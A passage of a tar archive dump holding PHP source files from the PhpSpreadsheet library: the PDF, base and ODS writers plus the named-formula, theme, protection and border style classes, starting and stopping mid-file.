PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; abstract class Pdf extends Html { /** * Temporary storage directory. */ protected string $tempDir; /** * Font. */ protected string $font = 'freesans'; /** * Orientation (Over-ride). */ protected ?string $orientation = null; /** * Paper size (Over-ride). */ protected ?int $paperSize = null; /** * Paper Sizes xRef List. */ protected static array $paperSizes = [ PageSetup::PAPERSIZE_LETTER => 'LETTER', // (8.5 in. by 11 in.) PageSetup::PAPERSIZE_LETTER_SMALL => 'LETTER', // (8.5 in. by 11 in.) PageSetup::PAPERSIZE_TABLOID => [792.00, 1224.00], // (11 in. by 17 in.) PageSetup::PAPERSIZE_LEDGER => [1224.00, 792.00], // (17 in. by 11 in.) PageSetup::PAPERSIZE_LEGAL => 'LEGAL', // (8.5 in. by 14 in.) PageSetup::PAPERSIZE_STATEMENT => [396.00, 612.00], // (5.5 in. by 8.5 in.) PageSetup::PAPERSIZE_EXECUTIVE => 'EXECUTIVE', // (7.25 in. by 10.5 in.) PageSetup::PAPERSIZE_A3 => 'A3', // (297 mm by 420 mm) PageSetup::PAPERSIZE_A4 => 'A4', // (210 mm by 297 mm) PageSetup::PAPERSIZE_A4_SMALL => 'A4', // (210 mm by 297 mm) PageSetup::PAPERSIZE_A5 => 'A5', // (148 mm by 210 mm) PageSetup::PAPERSIZE_B4 => 'B4', // (250 mm by 353 mm) PageSetup::PAPERSIZE_B5 => 'B5', // (176 mm by 250 mm) PageSetup::PAPERSIZE_FOLIO => 'FOLIO', // (8.5 in. by 13 in.) PageSetup::PAPERSIZE_QUARTO => [609.45, 779.53], // (215 mm by 275 mm) PageSetup::PAPERSIZE_STANDARD_1 => [720.00, 1008.00], // (10 in. by 14 in.) PageSetup::PAPERSIZE_STANDARD_2 => [792.00, 1224.00], // (11 in. by 17 in.) PageSetup::PAPERSIZE_NOTE => 'LETTER', // (8.5 in. by 11 in.) PageSetup::PAPERSIZE_NO9_ENVELOPE => [279.00, 639.00], // (3.875 in. by 8.875 in.) PageSetup::PAPERSIZE_NO10_ENVELOPE => [297.00, 684.00], // (4.125 in. by 9.5 in.) PageSetup::PAPERSIZE_NO11_ENVELOPE => [324.00, 747.00], // (4.5 in. by 10.375 in.) PageSetup::PAPERSIZE_NO12_ENVELOPE => [342.00, 792.00], // (4.75 in. by 11 in.) PageSetup::PAPERSIZE_NO14_ENVELOPE => [360.00, 828.00], // (5 in. by 11.5 in.) PageSetup::PAPERSIZE_C => [1224.00, 1584.00], // (17 in. by 22 in.) PageSetup::PAPERSIZE_D => [1584.00, 2448.00], // (22 in. by 34 in.) PageSetup::PAPERSIZE_E => [2448.00, 3168.00], // (34 in. by 44 in.) PageSetup::PAPERSIZE_DL_ENVELOPE => [311.81, 623.62], // (110 mm by 220 mm) PageSetup::PAPERSIZE_C5_ENVELOPE => 'C5', // (162 mm by 229 mm) PageSetup::PAPERSIZE_C3_ENVELOPE => 'C3', // (324 mm by 458 mm) PageSetup::PAPERSIZE_C4_ENVELOPE => 'C4', // (229 mm by 324 mm) PageSetup::PAPERSIZE_C6_ENVELOPE => 'C6', // (114 mm by 162 mm) PageSetup::PAPERSIZE_C65_ENVELOPE => [323.15, 649.13], // (114 mm by 229 mm) PageSetup::PAPERSIZE_B4_ENVELOPE => 'B4', // (250 mm by 353 mm) PageSetup::PAPERSIZE_B5_ENVELOPE => 'B5', // (176 mm by 250 mm) PageSetup::PAPERSIZE_B6_ENVELOPE => [498.90, 354.33], // (176 mm by 125 mm) PageSetup::PAPERSIZE_ITALY_ENVELOPE => [311.81, 651.97], // (110 mm by 230 mm) PageSetup::PAPERSIZE_MONARCH_ENVELOPE => [279.00, 540.00], // (3.875 in. by 7.5 in.) PageSetup::PAPERSIZE_6_3_4_ENVELOPE => [261.00, 468.00], // (3.625 in. by 6.5 in.) PageSetup::PAPERSIZE_US_STANDARD_FANFOLD => [1071.00, 792.00], // (14.875 in. by 11 in.) PageSetup::PAPERSIZE_GERMAN_STANDARD_FANFOLD => [612.00, 864.00], // (8.5 in. by 12 in.) PageSetup::PAPERSIZE_GERMAN_LEGAL_FANFOLD => 'FOLIO', // (8.5 in. by 13 in.) PageSetup::PAPERSIZE_ISO_B4 => 'B4', // (250 mm by 353 mm) PageSetup::PAPERSIZE_JAPANESE_DOUBLE_POSTCARD => [566.93, 419.53], // (200 mm by 148 mm) PageSetup::PAPERSIZE_STANDARD_PAPER_1 => [648.00, 792.00], // (9 in. by 11 in.) PageSetup::PAPERSIZE_STANDARD_PAPER_2 => [720.00, 792.00], // (10 in. by 11 in.) PageSetup::PAPERSIZE_STANDARD_PAPER_3 => [1080.00, 792.00], // (15 in. by 11 in.) PageSetup::PAPERSIZE_INVITE_ENVELOPE => [623.62, 623.62], // (220 mm by 220 mm) PageSetup::PAPERSIZE_LETTER_EXTRA_PAPER => [667.80, 864.00], // (9.275 in. by 12 in.) PageSetup::PAPERSIZE_LEGAL_EXTRA_PAPER => [667.80, 1080.00], // (9.275 in. by 15 in.) PageSetup::PAPERSIZE_TABLOID_EXTRA_PAPER => [841.68, 1296.00], // (11.69 in. by 18 in.) PageSetup::PAPERSIZE_A4_EXTRA_PAPER => [668.98, 912.76], // (236 mm by 322 mm) PageSetup::PAPERSIZE_LETTER_TRANSVERSE_PAPER => [595.80, 792.00], // (8.275 in. by 11 in.) PageSetup::PAPERSIZE_A4_TRANSVERSE_PAPER => 'A4', // (210 mm by 297 mm) PageSetup::PAPERSIZE_LETTER_EXTRA_TRANSVERSE_PAPER => [667.80, 864.00], // (9.275 in. by 12 in.) PageSetup::PAPERSIZE_SUPERA_SUPERA_A4_PAPER => [643.46, 1009.13], // (227 mm by 356 mm) PageSetup::PAPERSIZE_SUPERB_SUPERB_A3_PAPER => [864.57, 1380.47], // (305 mm by 487 mm) PageSetup::PAPERSIZE_LETTER_PLUS_PAPER => [612.00, 913.68], // (8.5 in. by 12.69 in.) PageSetup::PAPERSIZE_A4_PLUS_PAPER => [595.28, 935.43], // (210 mm by 330 mm) PageSetup::PAPERSIZE_A5_TRANSVERSE_PAPER => 'A5', // (148 mm by 210 mm) PageSetup::PAPERSIZE_JIS_B5_TRANSVERSE_PAPER => [515.91, 728.50], // (182 mm by 257 mm) PageSetup::PAPERSIZE_A3_EXTRA_PAPER => [912.76, 1261.42], // (322 mm by 445 mm) PageSetup::PAPERSIZE_A5_EXTRA_PAPER => [493.23, 666.14], // (174 mm by 235 mm) PageSetup::PAPERSIZE_ISO_B5_EXTRA_PAPER => [569.76, 782.36], // (201 mm by 276 mm) PageSetup::PAPERSIZE_A2_PAPER => 'A2', // (420 mm by 594 mm) PageSetup::PAPERSIZE_A3_TRANSVERSE_PAPER => 'A3', // (297 mm by 420 mm) PageSetup::PAPERSIZE_A3_EXTRA_TRANSVERSE_PAPER => [912.76, 1261.42], // (322 mm by 445 mm) ]; /** * Create a new PDF Writer instance. * * @param Spreadsheet $spreadsheet Spreadsheet object */ public function __construct(Spreadsheet $spreadsheet) { parent::__construct($spreadsheet); //$this->setUseInlineCss(true); $this->tempDir = File::sysGetTempDir() . '/phpsppdf'; $this->isPdf = true; } /** * Get Font. */ public function getFont(): string { return $this->font; } /** * Set font. Examples: * 'arialunicid0-chinese-simplified' * 'arialunicid0-chinese-traditional' * 'arialunicid0-korean' * 'arialunicid0-japanese'. * * @return $this */ public function setFont(string $fontName) { $this->font = $fontName; return $this; } /** * Get Paper Size. */ public function getPaperSize(): ?int { return $this->paperSize; } /** * Set Paper Size. * * @param int $paperSize Paper size see PageSetup::PAPERSIZE_* */ public function setPaperSize(int $paperSize): self { $this->paperSize = $paperSize; return $this; } /** * Get Orientation. */ public function getOrientation(): ?string { return $this->orientation; } /** * Set Orientation. * * @param string $orientation Page orientation see PageSetup::ORIENTATION_* */ public function setOrientation(string $orientation): self { $this->orientation = $orientation; return $this; } /** * Get temporary storage directory. */ public function getTempDir(): string { return $this->tempDir; } /** * Set temporary storage directory. * * @param string $temporaryDirectory Temporary storage directory */ public function setTempDir(string $temporaryDirectory): self { if (is_dir($temporaryDirectory)) { $this->tempDir = $temporaryDirectory; } else { throw new WriterException("Directory does not exist: $temporaryDirectory"); } return $this; } /** * Save Spreadsheet to PDF file, pre-save. * * @param resource|string $filename Name of the file to save as * * @return resource */ protected function prepareForSave($filename) { // Open file $this->openFileHandle($filename); return $this->fileHandle; } /** * Save PhpSpreadsheet to PDF file, post-save. */ protected function restoreStateAfterSave(): void { $this->maybeCloseFileHandle(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/BaseWriter.php000064400000007017151676714400021310 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; abstract class BaseWriter implements IWriter { /** * Write charts that are defined in the workbook? * Identifies whether the Writer should write definitions for any charts that exist in the PhpSpreadsheet object. */ protected bool $includeCharts = false; /** * Pre-calculate formulas * Forces PhpSpreadsheet to recalculate all formulae in a workbook when saving, so that the pre-calculated values are * immediately available to MS Excel or other office spreadsheet viewer when opening the file. */ protected bool $preCalculateFormulas = true; /** * Use disk caching where possible? */ private bool $useDiskCaching = false; /** * Disk caching directory. */ private string $diskCachingDirectory = './'; /** * @var resource */ protected $fileHandle; private bool $shouldCloseFile; public function getIncludeCharts(): bool { return $this->includeCharts; } public function setIncludeCharts(bool $includeCharts): self { $this->includeCharts = $includeCharts; return $this; } public function getPreCalculateFormulas(): bool { return $this->preCalculateFormulas; } public function setPreCalculateFormulas(bool $precalculateFormulas): self { $this->preCalculateFormulas = $precalculateFormulas; return $this; } public function getUseDiskCaching(): bool { return $this->useDiskCaching; } public function setUseDiskCaching(bool $useDiskCache, ?string $cacheDirectory = null): self { $this->useDiskCaching = $useDiskCache; if ($cacheDirectory !== null) { if (is_dir($cacheDirectory)) { $this->diskCachingDirectory = $cacheDirectory; } else { throw new Exception("Directory does not exist: $cacheDirectory"); } } return $this; } public function getDiskCachingDirectory(): string { return $this->diskCachingDirectory; } protected function processFlags(int $flags): void { if (((bool) ($flags & self::SAVE_WITH_CHARTS)) === true) { $this->setIncludeCharts(true); } if (((bool) ($flags & self::DISABLE_PRECALCULATE_FORMULAE)) === true) { $this->setPreCalculateFormulas(false); } } /** * Open file handle. * * @param resource|string $filename */ public function openFileHandle($filename): void { if (is_resource($filename)) { $this->fileHandle = $filename; $this->shouldCloseFile = false; return; } $mode = 'wb'; $scheme = parse_url($filename, PHP_URL_SCHEME); if ($scheme === 's3') { // @codeCoverageIgnoreStart $mode = 'w'; // @codeCoverageIgnoreEnd } $fileHandle = $filename ? fopen($filename, $mode) : false; if ($fileHandle === false) { throw new Exception('Could not open file "' . $filename . '" for writing.'); } $this->fileHandle = $fileHandle; $this->shouldCloseFile = true; } /** * Close file handle only if we opened it ourselves. */ protected function maybeCloseFileHandle(): void { if ($this->shouldCloseFile) { if (!fclose($this->fileHandle)) { throw new Exception('Could not close file after writing.'); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Ods.php000064400000010313151676714400017757 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; use PhpOffice\PhpSpreadsheet\Writer\Ods\Content; use PhpOffice\PhpSpreadsheet\Writer\Ods\Meta; use PhpOffice\PhpSpreadsheet\Writer\Ods\MetaInf; use PhpOffice\PhpSpreadsheet\Writer\Ods\Mimetype; use PhpOffice\PhpSpreadsheet\Writer\Ods\Settings; use PhpOffice\PhpSpreadsheet\Writer\Ods\Styles; use PhpOffice\PhpSpreadsheet\Writer\Ods\Thumbnails; use ZipStream\Exception\OverflowException; use ZipStream\ZipStream; class Ods extends BaseWriter { /** * Private PhpSpreadsheet. */ private Spreadsheet $spreadSheet; private Content $writerPartContent; private Meta $writerPartMeta; private MetaInf $writerPartMetaInf; private Mimetype $writerPartMimetype; private Settings $writerPartSettings; private Styles $writerPartStyles; private Thumbnails $writerPartThumbnails; /** * Create a new Ods. */ public function __construct(Spreadsheet $spreadsheet) { $this->setSpreadsheet($spreadsheet); $this->writerPartContent = new Content($this); $this->writerPartMeta = new Meta($this); $this->writerPartMetaInf = new MetaInf($this); $this->writerPartMimetype = new Mimetype($this); $this->writerPartSettings = new Settings($this); $this->writerPartStyles = new Styles($this); $this->writerPartThumbnails = new Thumbnails($this); } public function getWriterPartContent(): Content { return $this->writerPartContent; } public function getWriterPartMeta(): Meta { return $this->writerPartMeta; } public function getWriterPartMetaInf(): MetaInf { return $this->writerPartMetaInf; } public function getWriterPartMimetype(): Mimetype { return $this->writerPartMimetype; } public function getWriterPartSettings(): Settings { return $this->writerPartSettings; } public function getWriterPartStyles(): Styles { return $this->writerPartStyles; } public function getWriterPartThumbnails(): Thumbnails { return $this->writerPartThumbnails; } /** * Save PhpSpreadsheet to file. * * @param resource|string $filename */ public function save($filename, int $flags = 0): void { $this->processFlags($flags); // garbage collect $this->spreadSheet->garbageCollect(); $this->openFileHandle($filename); $zip = $this->createZip(); $zip->addFile('META-INF/manifest.xml', $this->getWriterPartMetaInf()->write()); $zip->addFile('Thumbnails/thumbnail.png', $this->getWriterPartthumbnails()->write()); // Settings always need to be written before Content; Styles after Content $zip->addFile('settings.xml', $this->getWriterPartsettings()->write()); $zip->addFile('content.xml', $this->getWriterPartcontent()->write()); $zip->addFile('meta.xml', $this->getWriterPartmeta()->write()); $zip->addFile('mimetype', $this->getWriterPartmimetype()->write()); $zip->addFile('styles.xml', $this->getWriterPartstyles()->write()); // Close file try { $zip->finish(); } catch (OverflowException) { throw new WriterException('Could not close resource.'); } $this->maybeCloseFileHandle(); } /** * Create zip object. */ private function createZip(): ZipStream { // Try opening the ZIP file if (!is_resource($this->fileHandle)) { throw new WriterException('Could not open resource for writing.'); } // Create new ZIP stream return ZipStream0::newZipStream($this->fileHandle); } /** * Get Spreadsheet object. */ public function getSpreadsheet(): Spreadsheet { return $this->spreadSheet; } /** * Set Spreadsheet object. * * @param Spreadsheet $spreadsheet PhpSpreadsheet object * * @return $this */ public function setSpreadsheet(Spreadsheet $spreadsheet): static { $this->spreadSheet = $spreadsheet; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/NamedFormula.php000064400000001715151676714400020336 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class NamedFormula extends DefinedName { /** * Create a new Named Formula. */ public function __construct( string $name, ?Worksheet $worksheet = null, ?string $formula = null, bool $localOnly = false, ?Worksheet $scope = null ) { // Validate data if (!isset($formula)) { throw new Exception('You must specify a Formula value for a Named Formula'); } parent::__construct($name, $worksheet, $formula, $localOnly, $scope); } /** * Get the formula value. */ public function getFormula(): string { return $this->value; } /** * Set the formula value. */ public function setFormula(string $formula): self { if (!empty($formula)) { $this->value = $formula; } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Theme.php000064400000015513151676714400017027 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; class Theme { private string $themeColorName = 'Office'; private string $themeFontName = 'Office'; public const COLOR_SCHEME_2013_PLUS_NAME = 'Office 2013+'; public const COLOR_SCHEME_2013_PLUS = [ 'dk1' => '000000', 'lt1' => 'FFFFFF', 'dk2' => '44546A', 'lt2' => 'E7E6E6', 'accent1' => '4472C4', 'accent2' => 'ED7D31', 'accent3' => 'A5A5A5', 'accent4' => 'FFC000', 'accent5' => '5B9BD5', 'accent6' => '70AD47', 'hlink' => '0563C1', 'folHlink' => '954F72', ]; public const COLOR_SCHEME_2007_2010_NAME = 'Office 2007-2010'; public const COLOR_SCHEME_2007_2010 = [ 'dk1' => '000000', 'lt1' => 'FFFFFF', 'dk2' => '1F497D', 'lt2' => 'EEECE1', 'accent1' => '4F81BD', 'accent2' => 'C0504D', 'accent3' => '9BBB59', 'accent4' => '8064A2', 'accent5' => '4BACC6', 'accent6' => 'F79646', 'hlink' => '0000FF', 'folHlink' => '800080', ]; /** @var string[] */ private array $themeColors = self::COLOR_SCHEME_2007_2010; private string $majorFontLatin = 'Cambria'; private string $majorFontEastAsian = ''; private string $majorFontComplexScript = ''; private string $minorFontLatin = 'Calibri'; private string $minorFontEastAsian = ''; private string $minorFontComplexScript = ''; /** * Map of Major (header) fonts to write. * * @var string[] */ private array $majorFontSubstitutions = self::FONTS_TIMES_SUBSTITUTIONS; /** * Map of Minor (body) fonts to write. * * @var string[] */ private array $minorFontSubstitutions = self::FONTS_ARIAL_SUBSTITUTIONS; public const FONTS_TIMES_SUBSTITUTIONS = [ 'Jpan' => 'MS Pゴシック', 'Hang' => '맑은 고딕', 'Hans' => '宋体', 'Hant' => '新細明體', 'Arab' => 'Times New Roman', 'Hebr' => 'Times New Roman', 'Thai' => 'Tahoma', 'Ethi' => 'Nyala', 'Beng' => 'Vrinda', 'Gujr' => 'Shruti', 'Khmr' => 'MoolBoran', 'Knda' => 'Tunga', 'Guru' => 'Raavi', 'Cans' => 'Euphemia', 'Cher' => 'Plantagenet Cherokee', 'Yiii' => 'Microsoft Yi Baiti', 'Tibt' => 'Microsoft Himalaya', 'Thaa' => 'MV Boli', 'Deva' => 'Mangal', 'Telu' => 'Gautami', 'Taml' => 'Latha', 'Syrc' => 'Estrangelo Edessa', 'Orya' => 'Kalinga', 'Mlym' => 'Kartika', 'Laoo' => 'DokChampa', 'Sinh' => 'Iskoola Pota', 'Mong' => 'Mongolian Baiti', 'Viet' => 'Times New Roman', 'Uigh' => 'Microsoft Uighur', 'Geor' => 'Sylfaen', ]; public const FONTS_ARIAL_SUBSTITUTIONS = [ 'Jpan' => 'MS Pゴシック', 'Hang' => '맑은 고딕', 'Hans' => '宋体', 'Hant' => '新細明體', 'Arab' => 'Arial', 'Hebr' => 'Arial', 'Thai' => 'Tahoma', 'Ethi' => 'Nyala', 'Beng' => 'Vrinda', 'Gujr' => 'Shruti', 'Khmr' => 'DaunPenh', 'Knda' => 'Tunga', 'Guru' => 'Raavi', 'Cans' => 'Euphemia', 'Cher' => 'Plantagenet Cherokee', 'Yiii' => 'Microsoft Yi Baiti', 'Tibt' => 'Microsoft Himalaya', 'Thaa' => 'MV Boli', 'Deva' => 'Mangal', 'Telu' => 'Gautami', 'Taml' => 'Latha', 'Syrc' => 'Estrangelo Edessa', 'Orya' => 'Kalinga', 'Mlym' => 'Kartika', 'Laoo' => 'DokChampa', 'Sinh' => 'Iskoola Pota', 'Mong' => 'Mongolian Baiti', 'Viet' => 'Arial', 'Uigh' => 'Microsoft Uighur', 'Geor' => 'Sylfaen', ]; public function getThemeColors(): array { return $this->themeColors; } public function setThemeColor(string $key, string $value): self { $this->themeColors[$key] = $value; return $this; } public function getThemeColorName(): string { return $this->themeColorName; } public function setThemeColorName(string $name, ?array $themeColors = null): self { $this->themeColorName = $name; if ($name === self::COLOR_SCHEME_2007_2010_NAME) { $themeColors = $themeColors ?? self::COLOR_SCHEME_2007_2010; } elseif ($name === self::COLOR_SCHEME_2013_PLUS_NAME) { $themeColors = $themeColors ?? self::COLOR_SCHEME_2013_PLUS; } if ($themeColors !== null) { $this->themeColors = $themeColors; } return $this; } public function getMajorFontLatin(): string { return $this->majorFontLatin; } public function getMajorFontEastAsian(): string { return $this->majorFontEastAsian; } public function getMajorFontComplexScript(): string { return $this->majorFontComplexScript; } public function getMajorFontSubstitutions(): array { return $this->majorFontSubstitutions; } public function setMajorFontValues(?string $latin, ?string $eastAsian, ?string $complexScript, ?array $substitutions): self { if (!empty($latin)) { $this->majorFontLatin = $latin; } if ($eastAsian !== null) { $this->majorFontEastAsian = $eastAsian; } if ($complexScript !== null) { $this->majorFontComplexScript = $complexScript; } if ($substitutions !== null) { $this->majorFontSubstitutions = $substitutions; } return $this; } public function getMinorFontLatin(): string { return $this->minorFontLatin; } public function getMinorFontEastAsian(): string { return $this->minorFontEastAsian; } public function getMinorFontComplexScript(): string { return $this->minorFontComplexScript; } public function getMinorFontSubstitutions(): array { return $this->minorFontSubstitutions; } public function setMinorFontValues(?string $latin, ?string $eastAsian, ?string $complexScript, ?array $substitutions): self { if (!empty($latin)) { $this->minorFontLatin = $latin; } if ($eastAsian !== null) { $this->minorFontEastAsian = $eastAsian; } if ($complexScript !== null) { $this->minorFontComplexScript = $complexScript; } if ($substitutions !== null) { $this->minorFontSubstitutions = $substitutions; } return $this; } public function getThemeFontName(): string { return $this->themeFontName; } public function setThemeFontName(?string $name): self { if (!empty($name)) { $this->themeFontName = $name; } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Protection.php000064400000011261151676714400021207 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; class Protection extends Supervisor { /** Protection styles */ const PROTECTION_INHERIT = 'inherit'; const PROTECTION_PROTECTED = 'protected'; const PROTECTION_UNPROTECTED = 'unprotected'; /** * Locked. */ protected ?string $locked = null; /** * Hidden. */ protected ?string $hidden = null; /** * Create a new Protection. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param bool $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if (!$isConditional) { $this->locked = self::PROTECTION_INHERIT; $this->hidden = self::PROTECTION_INHERIT; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; return $parent->getSharedComponent()->getProtection(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { return ['protection' => $array]; } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getLocked()->applyFromArray( * [ * 'locked' => TRUE, * 'hidden' => FALSE * ] * ); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['locked'])) { $this->setLocked($styleArray['locked']); } if (isset($styleArray['hidden'])) { $this->setHidden($styleArray['hidden']); } } return $this; } /** * Get locked. */ public function getLocked(): ?string { if ($this->isSupervisor) { return $this->getSharedComponent()->getLocked(); } return $this->locked; } /** * Set locked. * * @param string $lockType see self::PROTECTION_* * * @return $this */ public function setLocked(string $lockType): static { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['locked' => $lockType]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->locked = $lockType; } return $this; } /** * Get hidden. */ public function getHidden(): ?string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHidden(); } return $this->hidden; } /** * Set hidden. * * @param string $hiddenType see self::PROTECTION_* * * @return $this */ public function setHidden(string $hiddenType): static { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['hidden' => $hiddenType]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->hidden = $hiddenType; } return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->locked . $this->hidden . __CLASS__ ); } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'locked', $this->getLocked()); $this->exportArray2($exportedArray, 'hidden', $this->getHidden()); return $exportedArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Borders.php000064400000024366151676714400020473 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class Borders extends Supervisor { // Diagonal directions const DIAGONAL_NONE = 0; const DIAGONAL_UP = 1; const DIAGONAL_DOWN = 2; const DIAGONAL_BOTH = 3; /** * Left. */ protected Border $left; /** * Right. */ protected Border $right; /** * Top. */ protected Border $top; /** * Bottom. */ protected Border $bottom; /** * Diagonal. */ protected Border $diagonal; /** * DiagonalDirection. */ protected int $diagonalDirection; /** * All borders pseudo-border. Only applies to supervisor. */ protected Border $allBorders; /** * Outline pseudo-border. Only applies to supervisor. */ protected Border $outline; /** * Inside pseudo-border. Only applies to supervisor. */ protected Border $inside; /** * Vertical pseudo-border. Only applies to supervisor. */ protected Border $vertical; /** * Horizontal pseudo-border. Only applies to supervisor. */ protected Border $horizontal; /** * Create a new Borders. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values $this->left = new Border($isSupervisor, $isConditional); $this->right = new Border($isSupervisor, $isConditional); $this->top = new Border($isSupervisor, $isConditional); $this->bottom = new Border($isSupervisor, $isConditional); $this->diagonal = new Border($isSupervisor, $isConditional); $this->diagonalDirection = self::DIAGONAL_NONE; // Specially for supervisor if ($isSupervisor) { // Initialize pseudo-borders $this->allBorders = new Border(true, $isConditional); $this->outline = new Border(true, $isConditional); $this->inside = new Border(true, $isConditional); $this->vertical = new Border(true, $isConditional); $this->horizontal = new Border(true, $isConditional); // bind parent if we are a supervisor $this->left->bindParent($this, 'left'); $this->right->bindParent($this, 'right'); $this->top->bindParent($this, 'top'); $this->bottom->bindParent($this, 'bottom'); $this->diagonal->bindParent($this, 'diagonal'); $this->allBorders->bindParent($this, 'allBorders'); $this->outline->bindParent($this, 'outline'); $this->inside->bindParent($this, 'inside'); $this->vertical->bindParent($this, 'vertical'); $this->horizontal->bindParent($this, 'horizontal'); } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; return $parent->getSharedComponent()->getBorders(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { return ['borders' => $array]; } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getBorders()->applyFromArray( * [ * 'bottom' => [ * 'borderStyle' => Border::BORDER_DASHDOT, * 'color' => [ * 'rgb' => '808080' * ] * ], * 'top' => [ * 'borderStyle' => Border::BORDER_DASHDOT, * 'color' => [ * 'rgb' => '808080' * ] * ] * ] * ); * </code> * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getBorders()->applyFromArray( * [ * 'allBorders' => [ * 'borderStyle' => Border::BORDER_DASHDOT, * 'color' => [ * 'rgb' => '808080' * ] * ] * ] * ); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['left'])) { $this->getLeft()->applyFromArray($styleArray['left']); } if (isset($styleArray['right'])) { $this->getRight()->applyFromArray($styleArray['right']); } if (isset($styleArray['top'])) { $this->getTop()->applyFromArray($styleArray['top']); } if (isset($styleArray['bottom'])) { $this->getBottom()->applyFromArray($styleArray['bottom']); } if (isset($styleArray['diagonal'])) { $this->getDiagonal()->applyFromArray($styleArray['diagonal']); } if (isset($styleArray['diagonalDirection'])) { $this->setDiagonalDirection($styleArray['diagonalDirection']); } if (isset($styleArray['allBorders'])) { $this->getLeft()->applyFromArray($styleArray['allBorders']); $this->getRight()->applyFromArray($styleArray['allBorders']); $this->getTop()->applyFromArray($styleArray['allBorders']); $this->getBottom()->applyFromArray($styleArray['allBorders']); } } return $this; } /** * Get Left. */ public function getLeft(): Border { return $this->left; } /** * Get Right. */ public function getRight(): Border { return $this->right; } /** * Get Top. */ public function getTop(): Border { return $this->top; } /** * Get Bottom. */ public function getBottom(): Border { return $this->bottom; } /** * Get Diagonal. */ public function getDiagonal(): Border { return $this->diagonal; } /** * Get AllBorders (pseudo-border). Only applies to supervisor. */ public function getAllBorders(): Border { if (!$this->isSupervisor) { throw new PhpSpreadsheetException('Can only get pseudo-border for supervisor.'); } return $this->allBorders; } /** * Get Outline (pseudo-border). Only applies to supervisor. */ public function getOutline(): Border { if (!$this->isSupervisor) { throw new PhpSpreadsheetException('Can only get pseudo-border for supervisor.'); } return $this->outline; } /** * Get Inside (pseudo-border). Only applies to supervisor. */ public function getInside(): Border { if (!$this->isSupervisor) { throw new PhpSpreadsheetException('Can only get pseudo-border for supervisor.'); } return $this->inside; } /** * Get Vertical (pseudo-border). Only applies to supervisor. */ public function getVertical(): Border { if (!$this->isSupervisor) { throw new PhpSpreadsheetException('Can only get pseudo-border for supervisor.'); } return $this->vertical; } /** * Get Horizontal (pseudo-border). Only applies to supervisor. */ public function getHorizontal(): Border { if (!$this->isSupervisor) { throw new PhpSpreadsheetException('Can only get pseudo-border for supervisor.'); } return $this->horizontal; } /** * Get DiagonalDirection. */ public function getDiagonalDirection(): int { if ($this->isSupervisor) { return $this->getSharedComponent()->getDiagonalDirection(); } return $this->diagonalDirection; } /** * Set DiagonalDirection. * * @param int $direction see self::DIAGONAL_* * * @return $this */ public function setDiagonalDirection(int $direction): static { if ($direction == '') { $direction = self::DIAGONAL_NONE; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['diagonalDirection' => $direction]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->diagonalDirection = $direction; } return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashcode(); } return md5( $this->getLeft()->getHashCode() . $this->getRight()->getHashCode() . $this->getTop()->getHashCode() . $this->getBottom()->getHashCode() . $this->getDiagonal()->getHashCode() . $this->getDiagonalDirection() . __CLASS__ ); } protected 